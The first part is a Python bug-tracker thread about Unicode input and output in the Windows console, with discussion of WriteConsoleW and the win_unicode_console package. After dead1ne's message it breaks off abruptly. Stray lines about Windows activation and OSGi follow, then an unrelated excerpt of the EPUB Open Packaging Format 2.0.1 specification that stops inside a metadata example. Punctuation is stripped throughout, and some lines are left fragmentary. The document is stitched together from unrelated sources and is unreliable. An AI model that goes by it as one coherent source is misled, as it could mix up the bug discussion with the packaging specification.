you said.msg170999 - view Author: Adam Bartoš Drekin Date: 2012-09-22 I have finished a solution working for me. It bypasses standard Python interactive interpreter and uses its own repl based on code.interact. This repl is activated by an ugly hack since PYTHONSTARTUP doesn t apply when some file is run python -i somefile.py. Why it works like that. Startup script could find out if a file is run or not. If anybody knows how to get rid of time.sleep used for wait for KeyboardInterrupt or how to get rid of PromptHack, please let me know. The patch can be activated by win_unicode_console_2.enable change_console True, use_hack True in site or sitecustomize or usercustomize.msg185135 - view Author: Adam Bartoš Drekin Date: 2013-03-24 Hello. I have made a small upgrade of the workaround.

win_unicode_console.enable_streams sets sys.stdin, stdout and stderr to custom filelike objects which use Windows functions ReadConcoleW and WriteConsoleW to handle unicode data properly. This can be done in sitecustomize.py to take effect automatically.

Since Python interactive console doesn t use sys.stdin for getting input still don t know reason for this, there is an alternative repl based on code.interact. win_unicode_console.IntertactiveConsole.enable sets it up. To set it up automatically, put the enabling code into a startup file and set PYTHONSTARTUP environment variable. This works for interactive session just running python with no script.

Since there is no hook to run InteractiveConsole.enable when a script is run interactively -i flag, that is after the script and before the interactive session, I have written a helper script i.py. It just runs given script and then enters an interactive mode using InteractiveConsole. Just put i.py into site-packages and run py -m i script.py arguments instead of py -i script.py arguments.

It s a shame that in the year 2013 one cannot simply run Python console on Windows and enter Unicode characters. I m not saying it s just Python fault, but there is a workaround on Python side.msg197700 - view Author: Adam Bartoš Drekin Date: 2013-09-14 Hello again. I have rewritten the custom stdio objects and implemented them as raw io reading and writing bytes in UTF-16-LE encoding. They are then wrapped in standard BufferedReader/Writer and TextIOWrapper objects. This approach also solves a bug of wrong string length given to WriteConsoleW when the string contained supplementary character. Since we are waiting for Ctrl-C signal to arrive, this implmentation doesn t suffer from It seems to work when main script is executed however it doesn t work in Python interactive REPL since the REPL doesn t use sys.stdin for input. However it uses its encoding which results in mess when sys.stdin is changed to object with different encoding like UTF-16-LE. See msg197751 - view Author: Glenn Linderman v python Date: 2013-09-15 Hi Drekin. Thanks for your work in progressing this issue. There have been a variety of techniques proposed for this issue, but it sounds like yours has built on what the others learned, and is close to complete, together with issue 17620.

Is this in a form that can be used with Python 3.3. or 3.4 alpha. Can it be loaded externally from a script, or must it be compiled into Python, or both.

I ve been using a variant of davidsarah s patch since 2 years now, but would like to take yours out for a spin. Is there a Complete Idiot s guide to using your patch. : msg197752 - view Author: Terry J. Reedy terry.reedy Date: 2013-09-15 From reading the module,

import stream; stream.enable

replaces sys.stdin/out/err with new classes.msg197773 - view Author: Adam Bartoš Drekin Date: 2013-09-15 Glenn Linderman: Yes I have built on what the others learned. For your question, I made it and tested it in Python 3.3, it should also work in 3.4 and what I ve tried, it actually works. As Terry J. Reedy says you can just load the module and enable the streams. I do this automatically on startup using sitecustomize. However as I said currently this meeses up the interactive session because of I have made some workaround – custom REPL built on stdlib module code. And also a helper script which runs the main script and then runs the custom REPL I couldn t find any stadard hook which would run the custom REPL. I m uploding full code. I will delete it if this isn t appropriate place.

Things like this could be fixed more easily if more core interpreter logic took place in stdlib. E. g. the code for interactive REPL. Few days ago I started some discussion on python ideas: https://mail.python.org/pipermail/python-ideas/2013-August/023000.html. msg221175 - view Author: Nick Coghlan ncoghlan Date: 2014-06-21 The fact Unicode doesn t work at the command prompt makes it look like Unicode on Windows just plain doesn t work, even in Python 3. Steve, if you or a colleague could provide some insight on getting this to work properly, that would be greatly appreciated.msg221178 - view Author: Steve Dower steve.dower Date: 2014-06-21 My understanding is that the best way to write Unicode to the console is through WriteConsoleW, which seems to be where this discussion ended up. The only apparent sticking point is that this would cause an ordering incompatibility with stdout.write ; stdout.buffer.write ; stdout.write.

Last I heard, the official advice was to use PowerShell. Clearly everyone s keen to jump on that I m not even sure it s an instant fix either - PS is a much better shell for file manipulation and certainly handles encoding better than type/echo/etc., but I think it will still go back to the OEM CP for executables.

One other point that came up was UTF-8 handling after redirecting output to a file. I don t see an issue there - UTF-8 is going to be one of the first guesses with or without a BOM for text that is not UTF-16, and apps that assume something else are no worse off than with any other codepage.

So I don t have any great answers, sorry. I d love to see the defaults handle it properly, but opt-in scripts like Drekin s may be the best way to enable it broadly.msg223403 - view Author: Adam Bartoš Drekin Date: 2014-07-18 I have made some updates in the streams code. Better error handling getting errno by GetLastError and raising exception when zero bytes are written on non-zero input. This prevents the infinite loop in BufferedIOWriter.flush when there is odd number of bytes WriteConsoleW accepts UTF-16-LE so only even number of bytes is written. It also prevents the same infinite loop when the buffer is too big to write at once see . The limit of 32767 bytes was added to raw write.msg223404 - view Author: STINNER Victor haypo Date: 2014-07-18 Drekin: Please don t send ZIP files to the bug tracker. It would be much better to have a project on github, Mercurial or something else, to have the history of the source code. You may try tp list all people who contributed to this code.

You may also create a project on pypi.python.org to share your code. This bug tracker is not the best place for that.

When the code will be consider mature well tested, widely used, we can try to integrate it into Python.msg223507 - view Author: Adam Bartoš Drekin Date: 2014-07-20 Victor Stinner: You are right. So I did it. Here are the links to GitHub and PyPI: https://github.com/Drekin/win-unicode-console, https://pypi.python.org/pypi/win_unicode_console.

I also tried to delete the files, but it seems that it is only possible to unlink a file from the issue, but the file itself remains. Is it possible to manage the files.msg223509 - view Author: Nick Coghlan ncoghlan Date: 2014-07-20 Thanks Drekin - I ll point folks to your project as a good place to provide initial feedback, and if that seems promising we can look at potentially integrating the various fixes into Python 3.5msg223945 - view Author: Mark Summerfield mark Date: 2014-07-25 I used pip to install the win_unicode_console package on windows 7 python 3.3.

It works but wouldn t freeze with cx_freeze because there s no __init__.py file in the win_unicode_console directory.msg223946 - view Author: Nick Coghlan ncoghlan Date: 2014-07-25 Hmm, I m not sure if that would be a bug in cxFreeze or CPython - I don t think we ve tried freezing or zipimporting namespace packages either way, adding the __init__.py to win_unicode_console would likely be the quickest fix msg223947 - view Author: STINNER Victor haypo Date: 2014-07-25 Since there is now an external project fixing the support of Windows console, I suggest to close this issue as wontfix. In a few months, if we get enough feedback on this project, we may reconsider integrating it into Python. What do you think.

https://pypi.python.org/pypi/win_unicode_console.

I used pip to install the win_unicode_console package

Please don t use Python bug tracker to report bugs to the package.msg223948 - view Author: Nick Coghlan ncoghlan Date: 2014-07-25 The poor interaction with the Windows command line is still a bug in CPython - we could mark it closed/later but I don t see any value in doing so.

I see Drekin s win_unicode_console module as similar to my own contextlib2 - used to prove the concept, and perhaps iterate on some of the details, but the ultimate long term solution is to fix CPython itself.msg223949 - view Author: STINNER Victor haypo Date: 2014-07-25 The poor interaction with the Windows command line is still a bug in CPython - we could mark it closed/later but I don t see any value in doing so.

I don t see any value in keeping the issue open since nobody worked on it last 7 years. I just want to make it clear that we will not fix this issue.

Well, in fact I spent a lot of hours trying to find a way to fix the issue, and my conclusion is that it s not possible to handle correctly Unicode input and output in a Windows console. Please read the whole issue for the detail.

The win_unicode_console project may improve the Unicode support, but I m convinced that it still has various issues because it is just not possible to handle all cases.

A workaround is to not use the Windows console, but use IDLE or another shell Try maybe PowerShell. But PowerShell has at least an issue with the code page 65001 Microsoft UTF-8 : see the issue 21927.msg223951 - view Author: Nick Coghlan ncoghlan Date: 2014-07-25 Based on Steve s last post, the main challenge is that the IO model assumes a bytes-based streaming API - it isn t really set up to cope with a UTF-16 buffering layer.

However, that s not substantially different from the situation when the standard streams are replaced with StringIO objects, and they don t have an underlying buffer object at all. That may be a suitable model for Windows console IO as well - present it to the user in a way that doesn t expose an underlying bytes-based API at all.

Now, it may not be feasible to implement this until we get the startup code cleaned up, but I m not going to squash interest in improving the situation when it s one of the major culprits behind the Unicode is even more broken in Python 3 than it is in Python 2 meme.msg223952 - view Author: Nick Coghlan ncoghlan Date: 2014-07-25 Changing targets to Python 3.5, since this is almost certainly going to be too invasive for a maintenance release.msg224019 - view Author: Glenn Linderman v python Date: 2014-07-26 This bug deserves to stay open with its high priority for whatever good that does these last seven years, although I appreciate all the efforts put forth, and have been making heavy use of the workarounds in the patches, because when working with Unicode data in programs, even exception messages are not properly displayed instead, they cause a secondary exception of not being able to display the data of the original exception to the console.

And writing Unicode data to the console as part of an interactive or command line program has to either be done with the hopes that the data only includes characters in the console, to avoid the failures, or with lots of special encoding calls and character substitutions for code points not in the console repertoire. Remember that the console is supposed to be human readable, not encoded numerically as ascii would do.

ascii is sort of OK for for exception messages, but since that doesn t happen by default, the initial message to the console with Unicode data often doesn t appear, and an extra repetition after a failed message and a rework of the message parameters is required, which impedes productivity.msg224086 - view Author: Adam Bartoš Drekin Date: 2014-07-26 I have deleted all my old files and added only my current implementation of the stream objects as the only relevant part to this issue.

Mark Summerfield: I have added __init__.py to the new version of win_unicode_console. If there is any problem, you can start an issue on project GitHub site or contact me.

Victor Stinner, Nick Coghlan: What s wrong with looking on Windows wide strings as on UTF-16-LE encoded bytes and building the raw stream objects around this.msg224095 - view Author: Nick Coghlan ncoghlan Date: 2014-07-27 Drekin, you re right, that s a much better way to go, I just didn t think it through : msg224596 - view Author: Mark Lawrence BreamoreBoy Date: 2014-08-02 To ensure that we re all talking about the same thing, is everybody using the /u unicode output option or /a ansi which I m assuming is the default when running cmd.msg224605 - view Author: Glenn Linderman v python Date: 2014-08-03 Mark, the /U and /A switches to CMD only affect as the help messages say the output of internal CMD commands. So they would only affect interoperability between internal command output piped to a Python program. The biggest issue in this bug, however, is the output of Python programs not being properly displayed by the console window often thought of or described as the CMD shell window.

While my biggest concerns have been with output, I suppose input can be an issue also, and running the output of echo, or other internal commands, into Python could be an issue as well. I have pasted a variety of data into Python programs beyond ASCII, but I m not sure I ve gone beyond ANSI or beyond Unicode BMP. Obviously, once output is working properly, input should also be tested and fixed, although I think output is more critical.

With the impetus of your question I just took some text supplied in another context that has a bunch of characters from different repertoires, including non-BMP, and tried to paste it into the console window. Here is the text:

こんにちは世界 - fine on Linux, all boxes on Windows all boxes in Chrome on Linux too

مرحبا العالم. - fine on Linux and Windows

안녕하세요, 세계. - fine on Linux, just boxes and punctuation on Windows

likewise in Chrome

Привет, мир. - fine on Linux and Windows

Αυτή είναι μια δοκιμή - fine on both, but Google Translate has a

problem with this. It returned Hello, world. as the Greek for

Hello, world. so I tried again with This is a test.

, . - not actually a language, but this is astral

In the console window, which I have configured using the Consolas font, the glyphs for the non-ASCII characters in the first two and last lines were boxes likely Consolas doesn t support those characters. I had written a Python equivalent of echo, including some workarounds originally posted in this issue, and got exactly the same output as input, with no errors produced. So it is a bit difficult to test characters outside the repertoire of whatever font is configured for the console window. Perhaps someone that has Chinese or Korean fonts configured for their console window could report on further testing of the above or similar strings.msg224690 - view Author: Adam Bartoš Drekin Date: 2014-08-04 I think that boxes are ok, it s just missing font. Without active workaroud there is just UnicodeEncodeError with cp852 for me. There is problem with astral characters – I m getting each box twice. It is possible that Windows console doesn t handle astral characters at all – it doesn t interpret surrogate pairs.msg227329 - view Author: Stefan Champailler wiz21 Date: 2014-09-23 I don t know if this is 100 related, but here I go. Here s a session in a windows console cmd.exe :

Microsoft Windows Version 6.1.7601

Copyright c 2009 Microsoft Corporation. All rights reserved.

C: Users stc chcp 65001

Active code page: 65001

C: Users stc PORT-STCA2 opt python3 python

Python 3.4.1 v3.4.1:c0e311e010fc, May 18 2014, :22 MSC v.1600 32 bit Intel on win32

print

C: Users stc

So basically, the python interpreters just quits without any message. Windows doesn t comply about python crashing though

Best regards,

Stefanmsg227330 - view Author: Stefan Champailler wiz21 Date: 2014-09-23 In my previous comment, I ve shown :

print

which is not valid python 3.4.1 don t why the interpreter didn t complaing though. So I tested again with missing parenthesis added :

C: PORT-STCA2 pl-PRIVATE horse chcp 65001

C: PORT-STCA2 pl-PRIVATE horse python

C: PORT-STCA2 pl-PRIVATE horse echo PROCESSOR_IDENTIFIER

Intel64 Family 6 Model 42 Stepping 7, GenuineIntel

Exactly the same behaviour.msg227332 - view Author: Nick Coghlan ncoghlan Date: 2014-09-23 Drekin, it would be good to be able to incorporate some of your improvements for Python 3.5. Before we could do that, we d need to review and agree to the PSF Contributor Agreement at https://www.python.org/psf/contrib/contrib-form/

The underlying licensing situation for CPython is a little messy albeit in a way that doesn t impact users or redistributors, so we use the contributor agreement to ensure we continue to have the right to distribute Python under its current license without making the history any messier, and to preserve the option of switching to a simpler standard license at some point in the future if it ever becomes feasible to do so. msg227333 - view Author: Adam Bartoš Drekin Date: 2014-09-23 Stefan Champailler:

The crash you see is maybe not a crash at all. First it has nothing to do with printing, the problem is reading of your input line. That explains why Python exited even before printing the traceback of the SyntaxError. If you try to read input using sys.stdin.buffer.raw.read 100 and type Unicode characters, it returns just empty bytes b. So maybe Python REPL then thinks the input just ended and so standardly exits the interpreter.

Why are you using chcp 65001. As far as I know, it doesn t give you the ability to use Unicode in the console. It somehow helps with printing, but there are some issues. print N euro sign prints the right character, but it prints additional blank line. sys.stdout.write N euro sign and sys.stdout.buffer.write N euro sign. encode cp65001 does the same, but sys.stdout.buffer.raw.write N euro sign. encode cp65001 works as expected.

If you want to enter and display Unicode in Python on Windows console, try my package win_unicode_console, which tries to solve the issues. See https://pypi.python.org/pypi/win_unicode_console.msg227337 - view Author: Adam Bartoš Drekin Date: 2014-09-23 Nick Coghlan: Ok, done.msg227338 - view Author: Nick Coghlan ncoghlan Date: 2014-09-23 Drekin: thanks. That should get processed by the PSF Secretary before too long, and the to indicate you have signed it will appear by your name.msg227347 - view Author: Stefan Champailler wiz21 Date: 2014-09-23 Dear Drekin,

The crash you see is maybe not a crash at all. First it has nothing

to do with printing, the problem is reading of your input line.

I guessed that, but thanks for pointing out.

So maybe Python REPL then thinks the input just ended and so standardly exits the interpreter.

Yes. I have showed that because the line of code seemed perfectly valid and innocuous I moved to Python3 because I need good unicode/encodings support. The answer from the REPL is, to me, very suprising. I would have expected a badly displayed character at least and a syntax error at worst. I consider myself quite aware of unicode issues but without any output from the repl, I d have very hard times figuring out what went wrong, hence my bug report.

So even though this might not qualify as the worse bug in Python, I d say it is actually quite misleading. But see no complaint here, I m very happy with Python in general. It s just that I thought I had to tell it to the dev team.

Why are you using chcp 65001.

I thought it d help me with printing unicode I tried CP437 but problem is the EURO sign is not there, and I do need eurosign :-. But I ll readily admit I didn t read all the stuff about encoing issues on Windows console before trying.

try my package win_unicode_console, which tries to solve the issues.

I ll certainly do that.

Thank you for your answer

Stefanmsg227354 - view Author: Mark Hammond mhammond Date: 2014-09-23 The crash you see is maybe not a crash at all.

I d call it a crash - the repl shouldn t exit. But it s not necessarily part of this bug.msg227373 - view Author: Terry J. Reedy terry.reedy Date: 2014-09-23 Stefan, the Idle Shell handles the BMP subset of Unicode quite well.

It is superior to the Windows console in other ways too. For instance, cut and paste work normally as for other Windows windows.

cp65001 is know to be buggy and essentially useless. Check the results in any search engine. msg227374 - view Author: Adam Bartoš Drekin Date: 2014-09-23 Idle shell handles Unicode characters well, but one cannot enter them using deadkey combinations. See - view Author: Stefan Champailler wiz21 Date: 2014-09-24 Thank you all for your quick and good answers. This level of responsiveness is truly amazing.

I ve played a bit with IPython and it works just fine. I can type the eurosign drectly with Alt Gr - E so I didn t enter a unicode code. So the bug is basically solved for me. But the python-repl behaviour still looks strange to me. So here s a successful IPython session :

Active code page: 65001

C: PORT-STCA2 pl-PRIVATE horse ipython

Python 3.4.1 v3.4.1:c0e311e010fc, May 18 2014, :22 MSC v.1600 32 bit Intel

Type copyright, credits or license for more information.

IPython 2.2.0 -- An enhanced Interactive Python.

. - Introduction and overview of IPython s features.

quickref - Quick reference.

help - Python s own help system.

object. - Details about object, use object.. for extra details.

In 1 : print

In 2 :msg227450 - view Author: Nick Coghlan ncoghlan Date: 2014-09-24 Aye, IPython has the advantage of running in a fully initialised browser, with the backend in a fully initialised Python environment.

CPython s setting up the standard streams for the default REPL at a much lower level, and there are quite a few problems with the way we re currently doing it.

I think Drekin s pointed the way towards substantially improving the situation for 3.5, though.msg228191 - view Author: stijn stijn Date: 2014-10-02 New here, but I think this is the correct issue to get info about this unicode problem. On the windows console:

chcp

Active code page: 437

type utf.txt

ƒ Ç é

chcp 65001

Привет

python --version

Python 3.5.0a0

cat utf.py

f open utf.txt

l f.readline

print l

print len l

python utf.py

ÐŸÑ Ð Ð ÐµÑ

еÑ

13

cat utf_explicit.py

import codecs

f codecs.open utf.txt, encoding utf-8, mode r

python utf_explicit.py

ет

7

I partly read through the page but these things are a bit above my head. Could anyone explain

- how to figure out what codec files returned by open.

- is there a way to change it globally to utf-8.

- the last case is almost correct: it has the correct number of characters, but the print still does something wrong. I got this working by using the stream patch, but got another example on which is is not correct, see below. Any way around this.

type utf2.txt

aαbβcγdδ

cat utf2.py

import streams

streams.enable

f codecs.open utf2.txt, encoding utf-8, mode r

print f.read 1

print f.read 2

print f.read 4

python utf2.py

a

α

bβc

γdδmsg228208 - view Author: Adam Bartoš Drekin Date: 2014-10-02 stijn: You are mixing two issues here. One is reading text from a file. There is no problem with it. You just call open path, encoding the_encoding_of_the_file. Since the encoding of the file depends on the file, you should provide the information about it.

Another issue is interactively entering and displaying Unicode characters in Python REPL in Windows console. That s what is this issue about. The streams code you use is outdated, for recent version see https://pypi.python.org/pypi/win_unicode_console and https://github.com/Drekin/win-unicode-console. It s an installable package which tries to solve the issue. The readme also contains a summary of the issue. Try the package and let me know if there is any problem.msg228210 - view Author: stijn stijn Date: 2014-10-02 Drekin: you re right for both input and output. Using encoding with plain open works just fine and using the latest win-unicode-console does give correct output for the second example as well. Thanks.msg233347 - view Author: Glenn Linderman v python Date: 2015-01-03 Just to note that another side effect of this bug is that stepping through code where the source contains non-ASCII characters results in pdb producing an error when trying to print the source lines. This makes stepping through such source code impossible.

I mention it, because it hasn t been mentioned before, and debuggers are mysterious and low-level enough, that solutions that might work for normal code, may not solve working with the debuggermsg233350 - view Author: Adam Bartoš Drekin Date: 2015-01-03 I tried the following code:

import pdb

pdb.set_trace

print 1 2

print αβγ

When run in vanilla Python it indeed ends with UnicodeEncodeError as soon as it hits the line with non-ASCII characters. However, the solution via win_unicode_console package seems to work correctly. There is just an issue when you keep calling next even after the main program ended. It ends with a RuntimeError after a few iterations. I didn t know that pdb can continue debugging after the main program has ended.msg233916 - view Author: Dainis Jonitis Jonitis Date: 2015-01-13 Drekins module at https://github.com/Drekin/win-unicode-console is great, but there is small issue with it when running within debugger in Visual Studio Python Tools for Visual Studio 2.1 installed. Debugger already wraps stdout and stderr inside the visualstudio_py_debugger._DebuggerOutput wrapper and it does not have the fileno method which win-unicode-console stream.py check_stream expects. I ve created potential fix for it at https://github.com/Drekin/win-unicode-console/pull/4/commits that checks whether object has old_out and uses it to get to fileno. There might be much more robust ways to check for wrappers. I just wanted to make you aware, if this code will be used as basis for Python 3.5.msg233937 - view Author: Steve Dower steve.dower Date: 2015-01-13 It sounds like the script should handle the case where someone has already changed stdout better. We wrap the streams in PTVS so we can forward the output into the IDE where Unicode will display properly anyway.

Our wrapper missing fileno is a bug in our side, but finding the original one will break output forwarding.msg234019 - view Author: Adam Bartoš Drekin Date: 2015-01-14 Note that win-unicode-console replaces the stdio streams rather than wraps them. So the desired state would be Unicode stream objects wrapped by PTVS. There would be no problem if win-unicode-console stream replacement occured before PTVS wraps them, which should be the case when Unicode streams for Windows are hadled by Python 3.5 itself. Is there any way to run custom Python code like sitecustomize before PTVS wraps the stdio streams.msg234020 - view Author: Dainis Jonitis Jonitis Date: 2015-01-14 Presumably Unicode streams would also fix file redirects. Currently, if you want to redirect stdout output to file it throws. For example PowerShell:

C: Python34 python.exe. test.py out-file -Encoding utf8 -FilePath test.txt msg234096 - view Author: Adam Bartoš Drekin Date: 2015-01-15 File redirection has nothing to do with win-unicode-console and this issue. When stdout is redirected, it is not a tty so win-unicode-console doesn t replace the stream object, which is the right thing to do. You got UnicodeEncodeError because Python creates sys.stdout with encoding based on your locale. In my case it is cp1250 which cannot encode whole Unicode. You can control the encoding used by setting PYTHONIOENCODING environment variable. For example, if you have a script producer.py, which prints some Unicode characters, and consumer.py, which just does print input, then py producer.py py consumer.py shows that redirection works when PYTHONIOENCODING is set e.g. to utf-8. msg234371 - view Author: Mark Hammond mhammond Date: 2015-01-20 File redirection has nothing to do with win-unicode-console

Thank you, that comment is spot on - there are multiple issues being conflated here. This bug is purely about the tty/console behaviour.msg242884 - view Author: Nick Coghlan ncoghlan Date: 2015-05-11 It sounds like fixing this properly requires fixing issue 17620 first so the interactive interpreter actually uses sys.stdin, so I ve flagged that as a dependency.msg254405 - view Author: dead1ne Date: 2015-11-09 I ve tried addressing the output problem by subclassing TextIOWrapper to use the windows functions GetConsoleOutputCP and WideCharToMultiByte.

I ve tested this as well as I can without figuring out how to install a better font for the windows console. It appears to work on both python 3.4 and 2.7 although there may be an issue with 2.7 and CJK Extension B and higher codepoints.

Hopefully this is useful in finally resolving the issue. Also I think some maintenance patch for 2.7 is in order as currently it fails utterly if you set the console to 65001 since it doesn t recognize it. Had to wrap all print statements in try/except so it wouldn t fail before testing the wrapper.msg254407 - view Author: Adam Bartoš Drekin Date: 2015-11-09 dead1ne: Hello, I m maintaining a package that tries to solve this issue: https://github.com/Drekin/win-unicode-console. There are actually many related problems.

2.0 Manifest Based Activation

Open Packaging Format OPF 2.0.1 v1.0v1.0.1. Draft Document September 11, 2007Recommended Specification September 4, 2010.

Windows activation does not work when the sppsvc.exe process is not started automatically for a long time.

Any framework that implements the OSGi standard provides an environment for the modularization of applications into smaller bundles. Each bundle is a tightly coupled.

1.0: Overview

This specification, the Open Packaging Format OPF, is one third of a triumvirate of modular specifications that make up the EPUB publication format. EPUB enables the creation and transport of reflowable digital books and other types of content as single-file digital publications that are interoperable between disparate EPUB-compliant reading devices and applications. EPUB encompasses a content markup standard Open Publication Structure – OPS, a container standard Open Container Format – OCF, and this specification, a packaging standard.

In order for electronic-book technology to achieve widespread success in the

marketplace, Reading Systems need to have convenient access to a large number and

variety of titles. Another related specification, the Open

Publication Structure OPS Specification, describes a standard for

representing the content of electronic publications and is meant to reduce barriers to

the proliferation of content. Specifically, the specification is intended to:

Give publication tool providers and content providers e.g. publishers, authors,

and others who have content to be displayed minimal and common guidelines that ensure

fidelity, accuracy, accessibility, and adequate presentation of electronic content over

various Reading Systems; and

Build on established content format standards; and

Define a standard means of content description in order for electronic books to

move smoothly through the distribution chain.

This document, the Open Packaging Format OPF Specification, defines the mechanism by

which the various components of an OPS publication are tied together and provides

additional structure and semantics to the electronic publication. Specifically, OPF:

Describes and references all components of the electronic publication e.g. markup

files, images, navigation structures.

Provides publication-level metadata.

Specifies the linear reading-order of the publication.

Provides fallback information to use when unsupported extensions to OPS are

employed.

Provides a mechanism to specify a declarative table of contentsglobal navigation structure the NCX.

This OPF specification is separate from the OPS markup specification to modularize the

described packaging methodology and the described content. This will help facilitate

the use of this packaging technology by other standards bodies e.g.

DAISY in non-OPS contexts.

A third specification, the OEBPSOpen Container Format OCF Specification, defines the

standard mechanism by which all components of an electronic publication can be packaged

together into a single file for transmission, delivery and archival.

Together, these three standards constitute EPUB.

Content Provider

A publisher, author, or other information provider who provides a publication to one

or more Reading Systems in the form described in this specification and the OPS

specification.

Deprecated

A feature that is permitted, but not recommended, by this

specification. Such features might be removed in future revisions. Conformant Reading

Systems must support deprecated features.

EPUB

The publication format as defined by the OCF 2.0.1, OPF 2.0.1, and OPF 2.0.1 specifications.

EPUB Publication

A collection of OPS Documents, an OPF Package file, and other files, typically in a variety of media types, including structured text and graphics, packaged in an OCF container that constitute a cohesive unit for publication, as defined by the EPUB standards.

EPUB Reading System or Reading System

A combination of hardware and/or software that accepts EPUB Publications and makes them available to consumers of the content. Great variety is possible in the architecture of Reading Systems. A Reading System may be implemented entirely on one device, or it may be split among several computers. In particular, a reading device that is a component of a Reading System need not directly accept OCF-Packaged EPUB Publications, but all Reading Systems must do so. Reading Systems may include additional processing functions, such as compression, indexing, encryption, rights management, and distribution.

Extended Module

A module of a modularized XML vocabulary i.e. a set of named modules is defined in

its specification that is not mandated to be supported by its specification e.g.

the XHTML ruby or forms modules in the OPS context.

Inline XML Island

An inline XML Island is an XML document fragment using a non-Preferred Vocabulary or

using an Extended Module that exists within an XHTML Preferred Vocabulary document

within an OPS Publication.

NCX

A declarative table of contentsglobal navigation definition the Navigation Center eXtended or NCX.

OCF

The OEBPSOpen Container Format defines a mechanism by which all components of an OPS

Publication can be combined into a single file-system entity. OCF is defined by the OCF Specification.

OEBPS

The Open Publication Structure. Previous versions of this specification

OPF and its related specification, OPS, were unified into the single OEBPS

specification. For this version, OEBPS was broken into separate OPF and OPS

specifications to aid modular adoption of the specifications. OEBPS 1.2 was the

highest version of the previous unified specification.

OPF

The Open Packaging Format this standard defines the mechanism by which all

components of a published work conforming to the OPS standard including metadata,

reading order and navigational information are packaged into an OPS Publication.

OPF Package Document

An XML Document that describes an OPS Publication and references all files used by

the OPS Publication that are not part of the OPF Package Document itself. It

identifies all other files in the Publication and provides descriptive information

about them. The OPF Package Document is defined by this specification and is valid to

the OPF Package Schema defined herein.

The root file of the OPF Package Document should use the

. opf extension. This XML file may

refer to other XML files via XML s general entity mechanism, but those files

must not use the. opf file

extension. This construction could be used to simplify the creation of OPF Package

Documents for very large Publications. However, the most common case is for the OPF

Package Document to be a single XML file using the. opf

extension.

OPS

The Open Publication Structure the sister-standard to this standard defines the

markup necessary to construct OPS Content Documents. OPS is defined by the OPS Specification.

OPS Content Document

An XHTML, DTBook, or out-of-line XML document that conforms to the OPS specification

that can legally appear in the OPF Package Document spine.

OPS Core Media Type

A MIME media type, defined in the OPS Specification, that all Reading Systems

must support.

OPS Publication

A collection of OPS Content Documents, an OPF Package Document, and other files,

typically in a variety of media types, including structured text and graphics, that

constitute a cohesive unit for publication.

Out-of-Line XML Island

An Out-Of-Line XML Island is an XML document that exists within an OPS Publication

and is either not authored using a Preferred Vocabulary or is authored using a

Preferred Vocabulary but uses Extended Modules. It is an entirely separate, complete,

and valid XML document.

Preferred Vocabulary

XML consisting only of OPS-supported XHTML markup and/or DTBook markup.

Reader

A person who reads a publication.

Reading System

A combination of hardware and/or software that accepts OPS Publications likely

packaged in an OCF Container and makes them available to consumers of the content.

Great variety is possible in the architecture of Reading Systems. A Reading System

may be implemented entirely on one device, or it

may be split among several computers. In particular, a

Reading Device that is a component of a Reading System need

not directly accept OPS Publications, but all Reading Systems must do so. Reading Systems may include

additional processing functions, such as compression, indexing, encryption, rights

management, and distribution.

See EPUB Reading System.

XML Document

An XML Document is a complete and valid XML document as defined in XML 1.1

An XML Document is a complete and valid XML document as defined in XML 1.0 Fourth Edition

XML Document Fragment

Referred to as either a document fragment or as an XML Document Fragment, as defined

in Document Object Model Level 1 but

with the additional requirement that they be well-formed.

XML Island

An Inline XML Island or an Out-of-Line XML island.

XML Namespaces

Referred to as XML namespaces, or just namespaces, these must conform to XML

Namespaces

This specification combines subsets and applications of other specifications. Together,

these facilitate the construction, organization, presentation, and unambiguous

interchange of electronic documents:

OPF is based on XML because of XML s generality and

simplicity, and because XML documents are likely to adapt well to future technologies

and uses. XML also provides well-defined rules for the syntax of documents, which

decreases the cost to implementers and reduces incompatibility across systems.

Further, XML is extensible: it is not tied to any particular type of document or set

of element types, it supports internationalization, and it encourages document markup

that can represent a document s internal parts more directly, making them amenable to

automated formatting and other types of computer processing.

Reading Systems must be XML processors as defined in XML

1.10. All OPF Package Documents must be valid XML documents

according to the OPF Package Schema.

Reading Systems may support XML 1.1, but this feature is deprecated in version 2.0.1 in favor of XML 1.0. Support for XML 1.1 will be removed in the next version of the specification.

The keywords must, must not,

required, shall, shall not, should, recommended, may, and optional in this document must be interpreted as

described in RFC 2119.

This section defines conformance for OPF Package Documents, and Reading Systems that

process those Documents.

2.0: The OPF Package Document

A publication conforming to this specification must include

exactly one XML OPF Package Document, which specifies the OPS Content Documents, images,

and other objects that make up the OPS Publication and how they relate to each other.

The OPF Package Document should be named

ending in the extension . opf, in order to make it readily identifiable within the group

of files making up the publication. The OPS Package Document is of MIME media type

application/oebps-package xml. This specification does not

define means for physically bundling files together to make one data transfer object

such as using zip or tar ; the OEBPSOpen Container Format OCF specifies this

functionality.

This specification neither precludes nor requires the inclusion of the OPF Package Schema

in a Publication.

The major parts of the OPF Package Document are:

Package Name

A unique identifier for the OPS Publication as a whole.

Metadata

Publication metadata title, author, publisher, etc..

Manifest

A list of files documents, images, style sheets, etc. that make up the publication.

The manifest also includes fallback declarations for files of types not supported by

this specification.

Spine

An arrangement of documents providing a linear reading order.

Tours Deprecated

A set of alternate reading sequences through the publication, such as selective views

for various reading purposes, reader expertise levels, etc.

Guide

A set of references to fundamental structural features of the publication, such as

table of contents, foreword, bibliography, etc.

An OPF Package Document must be a valid XML document conforming

to the OPF Package schema Appendix A. An informal outline of the package is

as follows:

metadata

manifest

spine

guide

The following sections describe the parts of the OPF Package Document.

The required metadata element is

used to provide information about the publication as a whole. It may contain Dublin Core metadata elements

directly or within a now deprecated dc-metadata

sub-element. Supplemental metadata can also be specified directly or within a now

deprecated x-metadata sub-element.

Reading Systems must allow the specification of the deprecated

dc-metadata and x-metadata

elements. Newly created OPS 2.0 packages should not create

dc-metadata or x-metadata

elements. If the dc-metadata element is used, all

dc elements must go in

dc-metadata and all other metadata elements, if any, must go into

x-metadata. If the dc-metadata element is not used, all metadata elements must go directly in the metadata element.

The required metadata or

dc-metadata deprecated elements contain specific

publication-level metadata as defined by the Dublin Core Metadata Initiative The descriptions below

are included for convenience, and the Dublin Core s own definitions take precedence

see

One or more optional instances of a meta element, analogous to the XHTML 1.1 meta element but applicable to the publication as a whole,

may be placed within the metadata

element or within the deprecated x-metadata element. This

allows content providers to express arbitrary metadata beyond the data described by the

Dublin Core specification. Individual OPS Content Documents may include the meta element directly as in

XHTML 1.1 for document-specific metadata. This specification uses the OPF Package

Document alone as the basis for expressing publication-level Dublin Core metadata.

For example:

metadata xmlns:dc

xmlns:opf

Tale of Two Cities

Charles Dickens

